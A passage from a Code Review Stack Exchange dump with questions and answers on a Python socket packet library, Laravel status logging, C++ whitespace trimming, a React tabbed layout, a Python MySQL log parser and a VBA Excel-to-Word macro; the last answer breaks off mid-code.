raise ValueError("Could not find Packet end!")
</code></pre>
| [] | [
{
"body": "<h1>Docstrings</h1>\n\n<p>You should include a <a href=\"https://www.python.org/dev/peps/pep-0008/#documentation-strings\" rel=\"nofollow noreferrer\">docstring</a> at the beginning of every method, class, and module you write. This will allow documentation to identify what your code is supposed to do. It also helps external text editors, such as VSCode, to display what types of parameters your functions accept, and a short description of your method.</p>\n\n<h1>Error or Error</h1>\n\n<p>This line</p>\n\n<pre><code>except UnicodeDecodeError or ValueError as e:\n</code></pre>\n\n<p>should be this </p>\n\n<pre><code>except (UnicodeDecodeError, ValueError) as e:\n</code></pre>\n\n<p>Your current line of code raises this warning from <code>pylint</code>:</p>\n\n<blockquote>\n <p>Exception to catch is the result of a binary \"or\" operation</p>\n</blockquote>\n\n<p>If you need to handle multiple errors, you should group them into a tuple.</p>\n\n<h1>Method Names</h1>\n\n<p>According to <a href=\"https://www.python.org/dev/peps/pep-0008/#function-and-variable-names\" rel=\"nofollow noreferrer\">PEP-8 Function Name Conventions</a>, your method names <code>sendpacket</code> and <code>recivepacket</code> should really be <code>send_packet</code> and <code>receive_packet</code>.</p>\n\n<h1>Unnecessary <code>else</code></h1>\n\n<p>This section of code</p>\n\n<pre><code>if rawdata.endswith(sep):\n return rawdata[:-1]\nelse:\n raise ValueError(\"Could not find Packet end!\")\n</code></pre>\n\n<p>should be this</p>\n\n<pre><code>if rawdata.endswith(sep):\n return rawdata[:-1]\nraise ValueError(\"Could not find Packet end!\")\n</code></pre>\n\n<p>Since you are returning a value if the condition is satisfied, the ValueError line will not run. And if the condition is not satisfied, it will simply move to the next line. Therefore, the <code>else</code> is unnecessary and should be removed.</p>\n\n<h1>Updated Code</h1>\n\n<pre><code>\"\"\"\nDescription of this module goes here\n\"\"\"\n\nimport socket\n\nsep: bytes = b'\\0'\n\nminpacketsize: int = 10\n\n\ndef send_packet(sock: socket.socket, data: bytes) -> None:\n \"\"\"\n\n Description of this method goes here\n\n :param sock -> socket.socket: Socket to send the data over\\n\n :param data -> bytes: Data to send over the socket\n\n :return: None\n \"\"\"\n send: bytes = str(len(data) + 1).encode('utf-8') + sep + data + sep\n\n if len(send) < minpacketsize:\n raise ValueError(\"Packet too small!\")\n\n sock.sendall(send)\n\n\ndef receive_packet(sock: socket.socket) -> bytes:\n \"\"\"\n\n Description of this method goes here\n\n :param sock -> socket.socket: Socket to receive the data over\n\n :return: bytes\n \"\"\"\n datalen = 0\n header: bytearray = bytearray()\n while not datalen:\n header += sock.recv(1)\n if header.endswith(sep):\n try:\n datalen = int(header[:-1].decode('utf-8'))\n except (UnicodeDecodeError, ValueError) as e:\n raise ValueError(\"Error while decoding header!\") from e\n\n if len(header) == 10:\n raise ValueError(\"Could not find Header!\")\n\n rawdata: bytes = sock.recv(datalen)\n\n if rawdata.endswith(sep):\n return rawdata[:-1]\n raise ValueError(\"Could not find Packet end!\")\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-11-15T19:46:33.717",
"Id": "453972",
"Score": "0",
"body": "Thanks for catching the exception handling error. I don't want to sound rude, but I know PEP8. This is just a quick and dirty experimentation script, and I posted it here to get feedback on my usage of sockets, not my PEP8 compliance. I will edit my Question to clarify."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-10-30T06:58:26.253",
"Id": "231508",
"ParentId": "222838",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T03:29:17.637",
"Id": "222838",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"networking",
"socket"
],
"Title": "Small socket based packet Library"
} | 222838 |
<p>The application I'm currently working on have two main user types, let's say <code>user</code> and <code>reviewer</code>. I need to create a functionality to track changes made by both <code>user</code> and <code>reviewer</code> (for <code>post</code>) and show them in the frontend. I have given specific messages to show in the frontend for each change.</p>
<p>ex:- <code>user</code> submits a <code>post</code>. This post must be reviewed by <code>reviewer</code></p>
<p>In <code>user</code> dashboard</p>
<p><code>Post submitted -> Pending review</code></p>
<p>In <code>reviwer</code> dashboard</p>
<p><code>Pending review -> You have a new post to review before 01/07/2019</code></p>
<h3>My approach</h3>
<p>Make a language file to store all the status given.</p>
<p><strong>lang/en/status.php</strong></p>
<pre><code><?php
return [
'post_accepted' => [
'user' => [
'from' => 'Pending review',
'to' => 'Post accepted',
],
'reviewer' => [
'from' => 'Pending review',
'from' => 'You have a new post to review before [DATE]',
]
]
];
</code></pre>
<p>Then I have formatted each status and saved to the database with user's id.</p>
<p>ex:- For <code>reviewer</code>,</p>
<pre><code>$reviewer= $post->reviewer;
$status_from = __('status.post_accepted.reviewer.from');
$status_to = str_replace('[DATE]', '01/07/2019', __('status.post_accepted.reviewer.to'));
// Helper function for save log
add_log(
$post, // Post
'post_submitted', // unique slug for each status
$status_from, // from status
$status_to, // to status
$reviewer->id // reviewer id (The message should be shown to)
);
</code></pre>
<p>This is a hard approach to maintain code, not cleaner and I have to write a lot if code for each status.</p>
<p>Is there a cleaner way to achieve this with laravel?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T07:09:34.663",
"Id": "431513",
"Score": "0",
"body": "Welcome to Code Review! Following the guidelines on *[how to ask a good question](https://codereview.stackexchange.com/help/how-to-ask)*, you should change your question title to express what your code actually does instead of your concerns about it."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T06:43:24.053",
"Id": "222843",
"Score": "2",
"Tags": [
"php",
"laravel"
],
"Title": "A cleaner way to track model changes"
} | 222843 |
<p>I'm learning C++ and wrote a function to remove all the spaces and tabs at the beginning of the input string. It removes them until it find a character different of space and tabs.</p>
<p>In the first version I have mixed C and C++ code and someone has told me that this is a bad coding style, but in the second version I have tried to use only C++ code.</p>
<p>Did I do well?</p>
<pre><code>#include <fstream>
#include <ios>
#include <iostream>
#include <string>
std::string trimLeft(const std::string& input) {
if ((input.empty()) ||
((input.at(0) != ' ') && (input.at(0) != '\t')))
return input;
else {
char * tab2 = new char[input.length() + 1];
char *trimmed = new char[input.length() + 1];
strcpy(tab2, input.c_str());
bool skip = true;
size_t pos = 0;
for (size_t i = 0; i < (input.length() + 1); i++) {
if (skip) {
if ((tab2[i] == ' ') || (tab2[i] == '\t'))
continue;
else {
skip = false;
trimmed[pos] = tab2[i];
pos++;
}
}
else {
trimmed[pos] = tab2[i];
if (tab2[i] == '\0')
break;
else
pos++;
}
}
std::string stringTrimmed(trimmed);
return stringTrimmed;
}
</code></pre>
<p>So, I have tried to implement it using only C++ strings:</p>
<pre><code>#include <fstream>
#include <ios>
#include <iostream>
#include <string>
std::string trimLeft(const std::string& input) {
if ((input.empty()) ||
((input.at(0) != ' ') && (input.at(0) != '\t'))) {
return input;
}
else {
size_t pos = 0;
for (size_t i = 0; i < input.length(); i++) {
if ((input.at(i) == ' ') || (input.at(i) == '\t'))
continue;
else {
pos = i;
break;
}
}
return input.substr(pos, (input.length() - pos));
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T08:19:44.023",
"Id": "431519",
"Score": "0",
"body": "It would be nice to add a description of what the code is supposed to perform."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T10:46:11.297",
"Id": "431547",
"Score": "0",
"body": "@MathiasEttinger I'd go as far as to say that the method name is sufficient in this case."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T12:14:23.320",
"Id": "431566",
"Score": "0",
"body": "@BrainStone Except that without a description we can't know whether OP wants to remove [whitespace](https://en.cppreference.com/w/cpp/string/byte/isspace) and checking for tabs and spaces is just an underthought or if it is the whole spec. It's clearer now."
}
] | [
{
"body": "<p>Suggestions on your code:</p>\n\n<ol>\n<li><p>Your code currently returns the input string unmodified if it contains nothing but spaces and tabs. I'd say it should return an empty string.</p></li>\n<li><p>You always use <code>input.at(x)</code> instead of <code>input[x]</code>. The former checks at runtime for out of range errors and in which case throws an exception, while the latter does not. Your code ensures that you are calling them with valid indexes and no additional check is needed.</p></li>\n<li><p>Your code begins with an <code>if</code> statement.</p>\n\n<pre><code>if ((input.empty()) ||\n ((input.at(0) != ' ') && (input.at(0) != '\\t'))) {\n return input;\n}\n</code></pre>\n\n<p>This special case looks redundant because your <code>else</code> branch already handles input that is empty or does not start with <code>' '</code> or <code>'\\t'</code>.</p></li>\n<li><p>Parentheses are welcome to clarify operator precedence, but you are using too many parentheses IMHO. I would rewrite it like this:</p>\n\n<pre><code>if (input.empty() || (input[0] != ' ' && input[0] != '\\t'))\n</code></pre>\n\n<p>I removed the parentheses around <code>input.empty()</code> (which is a <a href=\"http://eel.is/c++draft/expr.post#nt:postfix-expression\" rel=\"nofollow noreferrer\"><em>postfix-expression</em></a>), and <code>input[0] != ' '</code> and <code>input[0] != '\\t'</code> (which are <a href=\"http://eel.is/c++draft/expr.eq#nt:equality-expression\" rel=\"nofollow noreferrer\"><em>equality-expression</em></a><em>s</em>). I don't think people will take it wrong.</p></li>\n<li><p>Your use of <code>size_t</code> instead of <code>int</code> is great. In fact, <code>std::string::size_type</code> is guaranteed to be <code>size_t</code>. However, you should use <code>std::size_t</code> instead of the unqualified <code>size_t</code>. (See <a href=\"https://stackoverflow.com/q/32606023\">When using C headers in C++, should we use functions from <code>std</code> or the global namespace?</a>)</p></li>\n<li><p><code>s.substr(i)</code> is equivalent to <code>s.substr(i, s.size() - i)</code>, so instead of</p>\n\n<pre><code>return input.substr(pos, (input.length() - pos));\n</code></pre>\n\n<p>It suffices to write</p>\n\n<pre><code>return input.substr(pos);\n</code></pre></li>\n<li><p>You store the value of <code>i</code> to <code>pos</code>, break the loop, and then construct the return value based on <code>pos</code>. This looks unnecessary to me. Why don't you just directly return inside the loop when the desired <code>i</code> is found?</p></li>\n</ol>\n\n<p>With these applied, your code is already only three lines:</p>\n\n<pre><code>for (std::size_t i = 0; i < input.length(); i++)\n if (input[i] != ' ' && input[i] != '\\t')\n return input.substr(i);\n</code></pre>\n\n<p>(You still need to fix the <code>trim(\" \") == \" \"</code> bug.)</p>\n\n<p>In fact, you can simply make use of the C++ standard library facilities and simplify your code even further:</p>\n\n<pre><code>std::string trim_left(const std::string& input)\n{\n if (auto p = input.find_first_not_of(\" \\t\"); p != std::string::npos)\n return input.substr(p);\n else\n return \"\";\n}\n</code></pre>\n\n<p>If you cannot use C++17, move the declaration of <code>p</code> out of the <code>if</code> statement.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T21:08:12.697",
"Id": "431650",
"Score": "2",
"body": "`trim_left()` should first check the value of `input.find_first_not_of(\" \\t\")` and ensure it isn't `std:string::npos`. Otherwise, it'll throw an exception when the input is nothing but spaces and tabs."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T04:12:17.480",
"Id": "431662",
"Score": "0",
"body": "@JoshTownzen Good point, updated."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T10:10:06.887",
"Id": "222858",
"ParentId": "222848",
"Score": "13"
}
}
] | {
"AcceptedAnswerId": "222858",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T07:47:11.963",
"Id": "222848",
"Score": "6",
"Tags": [
"c++",
"beginner",
"strings",
"comparative-review"
],
"Title": "Avoid using C Strings on C++ code to trim leading whitespace"
} | 222848 |
<p>I made this simple tabbed app template and one thing in particular I am not sure about is my creation of a <code>pageMap</code> object. The thinking behind it is that you can add a new page to the app by adding an entry in the <code>pageMap</code> as well as the list being mapped to produce the tabs.</p>
<p>The components are from <code>material-ui</code> and for brevity I didn't include the imports / style boilerplate.</p>
<pre><code>function App() {
const classes = useStyles();
const [page, setPage] = useState('Home')
const pageMap = {
'Home': {'component': <Home />, 'icon': <HomeIcon /> },
'Favourites': {'component': <Favourites />, 'icon': <StarIcon /> },
};
return (
<div className={classes.root}>
<CssBaseline />
<AppBar position="fixed" className={classes.appBar}>
<Toolbar>
<Typography variant="h6" noWrap>
Dashboard
</Typography>
</Toolbar>
</AppBar>
<Drawer
className={classes.drawer}
variant="permanent"
classes={{
paper: classes.drawerPaper,
}}
anchor="left"
>
<div className={classes.toolbar} />
<Divider />
<List>
{['Home', 'Favourites'].map((text, index) => (
<ListItem button key={text} onClick={() => setPage(text)} selected={text==page}>
<ListItemIcon>{pageMap[text]['icon']}</ListItemIcon>
<ListItemText primary={text} />
</ListItem>
))}
</List>
<Divider />
</Drawer>
<main className={classes.content}>
<div className={classes.toolbar} />
{pageMap[page]['component']}
</main>
</div>
);
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:20:12.677",
"Id": "431527",
"Score": "1",
"body": "Welcome to Code Review! If there is any chance that what you consider as boilerplate could be useful for the review, include it or maybe provide a link to the full source (GitHub gist?). Code Review has a quite generous limit on how long a question can be."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T08:07:56.513",
"Id": "222850",
"Score": "1",
"Tags": [
"react.js",
"jsx"
],
"Title": "React tabbed template"
} | 222850 |
<p>I have a read log file function to get select operation from database log file like this:</p>
<pre><code>def getSelectMySql(log):
with open(log,'r', encoding='utf-8', errors='ignore') as data:
lines = []
for baris in data:
bariss = baris.rstrip()
newBaris = re.sub(r'\t|\n|\r|\s{2,}',' ', bariss)
lines.append(newBaris)
result = []
buffer = []
success = False
for line in lines:
befSelect = re.compile(r'^.+?(?=SELECT)')
date = re.search(r"\b(\d{6})(?=\s\d{1,}:\d{2}:\d{2})\b", line)# (\d{1,}:\d{2}:\d{2})
select = re.search(r'\b(SELECT)\b',line)
parentheses = re.compile('[(){}]')
if date:
dat = datetime.datetime.strptime(date.group(), '%y%m%d').strftime('%Y-%m-%d')
if buffer:
result.append(tuple(buffer))
buffer.clear()
buffer.append(dat)
if line.endswith("important") or line.endswith("'%general_log%'") or line.endswith("puro"):
success = True if line.endswith("important") else False
else:
if success:
if select and not line.endswith("SELECT"):
line = re.sub(befSelect,'',line)
line = re.sub(parentheses,'',line)
buffer.append(line)
result.append(tuple(buffer))
print('Done\n')
return(result)
</code></pre>
<p>from the data, this function will one save select line after <code>important</code> word. the example of file, like this:</p>
<pre><code>190413 7:55:31 32168376 Query SHOW variables like '%general_log%'
32168491 Connect puro@17#.##.#.## on puro
32168491 Query SELECT * FROM `file` WHERE `identifier` = 'ca28a3b30f893899556749679f8d3066' LIMIT 1
32168491 Quit
32168492 Connect important@172.2#.#.# on important
32168492 Query SET NAMES 'utf8'
32168492 Query SHOW FULL COLUMNS FROM `sys_user`
32168492 Query SELECT
kcu.constraint_name,
kcu.column_name,
kcu.referenced_table_name,
kcu.referenced_column_name
FROM information_schema.referential_constraints AS rc
JOIN information_schema.key_column_usage AS kcu ON
(
kcu.constraint_catalog = rc.constraint_catalog OR
(kcu.constraint_catalog IS NULL AND rc.constraint_catalog IS NULL)
) AND
kcu.constraint_schema = rc.constraint_schema AND
kcu.constraint_name = rc.constraint_name
WHERE rc.constraint_schema = database() AND kcu.table_schema = database()
AND rc.table_name = 'sys_user' AND kcu.table_name = 'sysx_user'
32168492 Query SELECT * FROM `lecturer_syllabus` WHERE ((`lec_id`='588') AND (`ta`='2016') AND (`sem_ta`='2')) AND (deleted !=1)
32168492 Query SHOW FULL COLUMNS FROM `lect_year_syllabus`
</code></pre>
<p>The output will be like:</p>
<pre><code>[['190413', '7:55:31', SELECT * FROM `lecturer_syllabus` WHERE ((`lec_id`='588') AND (`ta`='2016') AND (`sem_ta`='2')) AND (deleted !=1)]]
</code></pre>
<p>But as this is my first try, I need an opinion about what I've tried, because my code runs slow with larger file.</p>
| [] | [
{
"body": "<h2> Performance </h2>\n\n<p>Overall I believe that you are doing some things more times that you need.</p>\n\n<ul>\n<li><p>Although compiling regexes does not take much time, if you would scan a file that has 100mln lines, the compilation on single regex (multiple times) might take up to 1 minute (it takes 108 seconds on my machine) of accumulated time. You can just compile them once before all loops (or even outside the function).</p></li>\n<li><p>If I understand the code correctly, you are scanning each line many times. How about doing each line only once? </p>\n\n<pre><code>lines = []\nfor baris in data:\n # strip line and append to lines\nfor line in lines:\n # do the rest\n</code></pre></li>\n<li><p>In addition to above, if parse one line at a time, it will save you a lot of memory if files are <em>really</em> huge (see also point 4. below).</p>\n\n<pre><code>def getSelectMySql(log_lines_provider): # log_lines_provider is a generator that would yield one line at a time. \n for line in log_lines_provider:\n yield extract_line_details(line)\n</code></pre></li>\n</ul>\n\n<h2> Code style </h2>\n\n<p>Overall, I think code is not easily readable. I had to read it a few times to get a feeling of what you are trying to do.</p>\n\n<ol>\n<li><code>return(result)</code> does not need brackets.</li>\n<li>I think <code>else: if success: if select and not</code> could be replaced by simple <code>elif</code></li>\n<li>I am not sure what <code>baris</code> means but I think it would be more readable if you renamed this variable to <code>line</code> or <code>log_line</code> to indicate that it is one line of the log file. </li>\n<li><p>I would split the code to many functions e.g. : </p>\n\n<pre><code>def getSelectMySql(log):\n lines = [] \n with open(log,'r', encoding='utf-8', errors='ignore') as data:\n lines = get_log_lines(log) # THIS IS A BAD IDEA IF THE FILES ARE LARGE, see above\n result = []\n for line in lines: # note indent here, since you loaded all lines there is no need to keep the file open\n result.append(extract_line_details(line))\n return result\n</code></pre></li>\n<li><code>success = True if line.endswith(\"important\") else False</code> can be simplified to <code>success = line.endswith(\"important\")</code></li>\n</ol>\n\n<p>Disclaimer: all above is just my <strong>opinion</strong>, please do not treat is as a single source of truth.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T12:56:26.397",
"Id": "431569",
"Score": "0",
"body": "thank you so much for your review, `baris` mean line (on Indonesia language). In the point 2, do you mean that I replace all of it to be just a `elif` or `elif success == (select and not line.endswith(\"SELECT\"))` ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T13:18:26.693",
"Id": "431571",
"Score": "0",
"body": "If I must split the function like in point 4, where should I put `buffer` list?"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T12:26:35.187",
"Id": "222866",
"ParentId": "222852",
"Score": "3"
}
},
{
"body": "<p>To add to @MaLiN223's answer, I think adding each line to <code>lines</code> is unnecessary and leads to weird looping behavior. You'll wind up looping over earlier lines multiple times. For example:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>lines = []\n\nlines.append('a')\nfor line in lines:\n print(line)\n\n# a\n\nlines.append('b')\nfor line in lines:\n print(line)\n\n# a\n# b\n</code></pre>\n\n<p>I'm not sure if that's the desired behavior or not, you might need to take another look at what you're trying to accomplish. I would say it's much better to keep it as a single for loop</p>\n\n<h2><code>str.strip()</code></h2>\n\n<p>You are using excess memory and losing readability by creating new objects from <code>baris</code> and calling them different things. You don't use the original <code>baris</code> past the <code>re.sub</code> part, so you carry around extra objects. I would keep the name <code>baris</code>, as it's clear what it is: it's your looping variable:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>for baris in data:\n baris = baris.rstrip() \n baris = re.sub(r'\\t|\\n|\\r|\\s{2,}',' ', baris)\n</code></pre>\n\n<h2><code>re.compile</code></h2>\n\n<p>The benefit of <code>re.compile</code> is you cut way down on the overhead required to re-parse your regular expression, especially in a loop:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>python -m timeit -s 'import re; x = \"abc123\"' 'for i in range(100000): re.match(\"\\w\\d\", x)'\n10 loops, best of 3: 64.1 msec per loop\n\npython -m timeit -s 'import re; x = \"abc123\"; y = re.compile(\"\\w\\d\")' 'for i in range(100000): y.match(x)'\n10 loops, best of 3: 27.8 msec per loop\n</code></pre>\n\n<p>However, by compiling <em>inside</em> a loop, you lose that benefit entirely. I would move these regular expressions:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>befSelect = re.compile(r'^.+?(?=SELECT)')\ndate = re.search(r\"\\b(\\d{6})(?=\\s\\d{1,}:\\d{2}:\\d{2})\\b\", line)\nselect = re.search(r'\\b(SELECT)\\b',line)\nparentheses = re.compile('[(){}]')\n</code></pre>\n\n<p>Up to the top, outside of your <code>with open</code> statement. This way you aren't re-compiling during every line, even if you don't need to.</p>\n\n<p>So your regex should look like:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def getSelectMySql(log):\n befSelect_re = re.compile(r'^.+?(?=SELECT)')\n date_re = re.compile(r\"\\b(\\d{6})(?=\\s\\d{1,}:\\d{2}:\\d{2})\\b\")\n select_re = re.compile(r'\\b(SELECT)\\b')\n parentheses_re = re.compile('[(){}]')\n\n with open....:\n ~snip~\n for baris in data:\n ~snip~\n # compiled regex supports search, sub, find, etc.\n date = date_re.search(baris)\n select = select_re.search(baris)\n\n ~snip~\n baris = befSelect_re.sub('', baris)\n baris = parentheses_re.sub('', baris)\n</code></pre>\n\n<h2>Value of <code>success</code></h2>\n\n<p>One of the big problems I see is that you are re-setting <code>success = False</code> during every iteration of the file handle. I would set that outside of the <code>for</code> loop:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>success = False\nwith open...\n</code></pre>\n\n<p>However, this brings up a new logical flow question. In your <code>if</code> statement:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>if baris.endswith(\"important\") or baris.endswith(\"'%general_log%'\") or baris.endswith(\"puro\"):\n success = True if baris.endswith(\"important\") else False\n</code></pre>\n\n<p>It seems odd to check for all of them if you are going to re-check again. I'd break this into multiple statements:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>if baris.endswith(\"important\"):\n success = True\nelif baris.endswith(\"'%general_log%'\") or baris.endswith(\"puro\"):\n success = False\nelse:\n # put this in one line. The ternary operator will evaluate early\n # if success is False, avoiding the rest of the boolean checks\n if success and select and not baris.endswith(\"SELECT\"):\n ...\n</code></pre>\n\n<p>Overall, keeping things as a single loop will keep memory overhead down for large files, allow you to iterate over the lines once and only once, and keep your variables relatively easy to track:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def getSelectMySql(log):\n befSelect_re = re.compile(r'^.+?(?=SELECT)')\n date_re = re.compile(r\"\\b(\\d{6})(?=\\s\\d{1,}:\\d{2}:\\d{2})\\b\")# (\\d{1,}:\\d{2}:\\d{2})\n select_re = re.compile(r'\\b(SELECT)\\b')\n parentheses_re = re.compile('[(){}]')\n spacing = re.compile(r'\\t|\\n|\\r|\\s{2,}')\n success = False\n\n with open(log,'r', encoding='utf-8', errors='ignore') as data:\n for baris in data:\n baris = baris.rstrip()\n baris = spacing.sub(' ', baris)\n result, buffer = [], []\n date = date_re.search(baris)\n select = select_re.search(baris)\n\n if date:\n dat = datetime.datetime.strptime(date.group(), '%y%m%d').strftime('%Y-%m-%d')\n if buffer:\n result.append(tuple(buffer))\n buffer.clear()\n buffer.append(dat)\n if baris.endswith(\"important\"):\n success = True\n elif baris.endswith(\"'%general_log%'\") or baris.endswith(\"puro\"):\n success = False\n else:\n # this will terminate early if success is false\n # and won't evaluate the rest of the expression\n if success and select and not baris.endswith(\"SELECT\"):\n baris = befSelect_re.sub('', baris)\n baris = parentheses_re.sub('', baris)\n buffer.append(baris)\n result.append(tuple(buffer))\n print('Done\\n')\n return result\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T14:19:50.993",
"Id": "222868",
"ParentId": "222852",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "222866",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T08:44:08.567",
"Id": "222852",
"Score": "3",
"Tags": [
"python",
"performance",
"python-3.x"
],
"Title": "SQL log file parser"
} | 222852 |
<p>What I'm trying to do here is to open an Excel file and then search for and store the data I need (i.e if there is a reference then I copy 2 columns). Afterwards, I paste or write that data into a Word table that already exists in my template.</p>
<p>Thus, here is my question: Is there a way to make run faster? It runs in about 21 seconds, and I would like it to be faster because I have plenty of macros to run and if each one runs about 20 seconds then my users won't be satisfied.</p>
<p>Here is the code:</p>
<pre><code>Sub fournitureExcel(trigram As String, nbTable As Long, folderPath As String)
Dim filename As String, dataRange As String, dataC As New Collection
Dim refRow As Long, refColumn As Long, desigColumn As Long 'la ligne de la trigramme recherche
Dim j As Long, c As Long
With ActiveDocument
.Application.ScreenUpdating = False
On Error Resume Next
Set xlApp = GetObject(, "Excel.Application")
If err Then
Set xlApp = CreateObject("Excel.Application")
End If
On Error GoTo 0
filename = "DE_Nom_art_" & trigram & ".xlsx"
Set xlBook = xlApp.workbooks.Open(folderPath & filename)
xlApp.Visible = False 'does not open the file, read only => faster to get the info
With xlBook.sheets(1)
' searching for the Reference
Set rg = .Cells.Find(what:="Référence")
refRow = .Range(rg.Address).Row: refColumn = .Range(rg.Address).Column
Set desigAdrs = .Cells.Find(what:="Désignation")
'numero de colone Designation
desigColumn = .Range(desigAdrs.Address).Column: dataRange = "G" & (refRow + 2) & ":I" & 10000
'stock excel data into a collection
For Each cell In .Range(dataRange)
If cell.Column = refColumn Then
If Not IsEmpty(cell) Then ' checking if reference exists or not
'designation & quantite
dataC.Add .Cells(cell.Row, refColumn - 2).Value: dataC.Add .Cells(cell.Row, refColumn - 1).Value
End If
End If
Next cell
xlBook.Close SaveChanges:=False ' pour ne pas sauvegarder le document
Set src = Nothing
Set xlApp = Nothing
Set xlBook = Nothing
End With
'ajoute des lignes a la table fournitures i.e table nr3
.Tables(nbTable).Select
c = .Tables(nbTable).Range.Rows.Count
'c = .Tables(nbTable).Rows.Count
If c - (dataC.Count / 2) < 0 Then 'check if we need to add rows or not
With Selection
.InsertRowsBelow -(c - (dataC.Count / 2))
With .Shading
.Texture = wdTextureNone
.ForegroundPatternColor = wdColorAutomatic
.BackgroundPatternColor = -603914241
End With
.Font.ColorIndex = wdBlack
'ajout des bordures dans le tableau
With .Borders
.InsideLineStyle = wdLineStyleSingle
.OutsideLineStyle = wdLineStyleSingle
.InsideColorIndex = wdBlack
.OutsideColorIndex = wdBlack
End With
End With
Else
' do nothing
End If
j = 3 'indice apartir du quel on va commencer a lire les donnees de la collection car on skip les 2 premiers
'fill the table
For i = 2 To dataC.Count / 2
With .Tables(nbTable).Rows(i)
' la designation & la quantites
With .Cells(1).Range
.Text = dataC(j):
.ParagraphFormat.Alignment = wdAlignParagraphLeft 'aligne text to the left
End With
.Cells(2).Range.Text = dataC(j + 1)
With .Range
.Font.ColorIndex = wdBlack 'text color :black
.Font.Size = 9 ' Set String size = 9
' If the string begins with "Baie" then make it Bold
If Left(dataC(j), Len("Baie")) = "Baie" Then
.Bold = True
Else
.Bold = False
End If
End With
j = j + 2
End With
Next i
'ActiveDocument.Tables(3).Rows.Last.Cells.Delete 'on efface la derniere ligne
.Application.ScreenUpdating = True
End With
End Sub
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T22:08:33.277",
"Id": "431652",
"Score": "0",
"body": "Are the other macros similar, and how similar?"
}
] | [
{
"body": "<p>A look at the code identifies the key time users:</p>\n\n<ul>\n<li>starting Excel every time you enter the function</li>\n<li>opening the file</li>\n<li>finding \"Référence\"</li>\n<li>finding \"Désignation\"</li>\n<li>looping through a table to do formatting</li>\n</ul>\n\n<p>Two key points I have also picked up on:</p>\n\n<ul>\n<li><code>Option Explicit</code> always. I don't know if you have this at the top of\nthe module that holds the routine - but <strong>always</strong> do it!</li>\n<li>You error check the starting of the Excel application, but you don't error check the opening of the file.</li>\n</ul>\n\n<p>Some suggestions to help manage the performance:</p>\n\n<ul>\n<li>Open Excel before running all the macros, and pass the reference to\nthe Excel instance as a parameter for each routine. And set the\nvisibility to 'False' as you have done. This should save a few\nseconds each macro call!</li>\n<li>Only manage the data/content in the function. Leave the formatting until after all the functions have run. This will save effort in repeating formatting. </li>\n<li>Use Word Styles to your advantage. Create a custom style for your table(s) and then apply it at the end (or perhaps even in your template in which case Word should automatically manage your formatting for you). This will reduce the complexity of your functions. </li>\n<li>Bring the Excel data in as an array (<code>Dim X as Variant</code> : <code>X = .Range(dataRange).Value</code>). You can then close the file early and work directly with the values. In your current code you are switching between the Excel model and the VBA model a few times in that loop, which is eating precious cycles. By bringing the data in as an array, you only switch to the Excel model once, and your traversing of the array is all done in the VBA model. This has proven over time to be a good time saver.</li>\n</ul>\n\n<p><strong>Some other hints after looking at the code</strong></p>\n\n<p>You have the following comment: <code>xlApp.Visible = False 'does not open the file, read only => faster to get the info</code> however, this still opens the file, but does not display the application meaning that precious computer cycles are not wasted on rendering a complex display (so yes, it is faster). </p>\n\n<p>Don't use \":\" to concatenate lines, it makes the code harder to read. If your code is starting to exceed the VBA module limits, use that as a warning that the code needs some serious review.</p>\n\n<p>You find the reference Row and reference Column, but don't use that information to manage your search range. <code>dataRange</code> should be defined by rows <code>refRow + 2</code> -> <code>10000</code> (not the end row?), and columns <code>desigColumn - 2</code> -> <code>desigColumn</code>. This then gives us (instead of your <code>For Each cell In .Range(dataRange)</code>):</p>\n\n<pre><code>Dim dataRange as Variant\ndataRange = .Range(.Cells(refRow + 2, desigColumn - 2), .Cells(10000, desigColumn)).Value \n'^<-- pulls in an array of the values in that range.\n\nFor iterator = LBound(dataRange,1) to UBound(dataRange,1) ' each row\n if datarange(iterator,2) <>\"\" Then \n ' 3rd element in that row, 0-based indexing of array\n ' Confirm what checks you need to replicate \"IsBlank\"\n dataC.Add 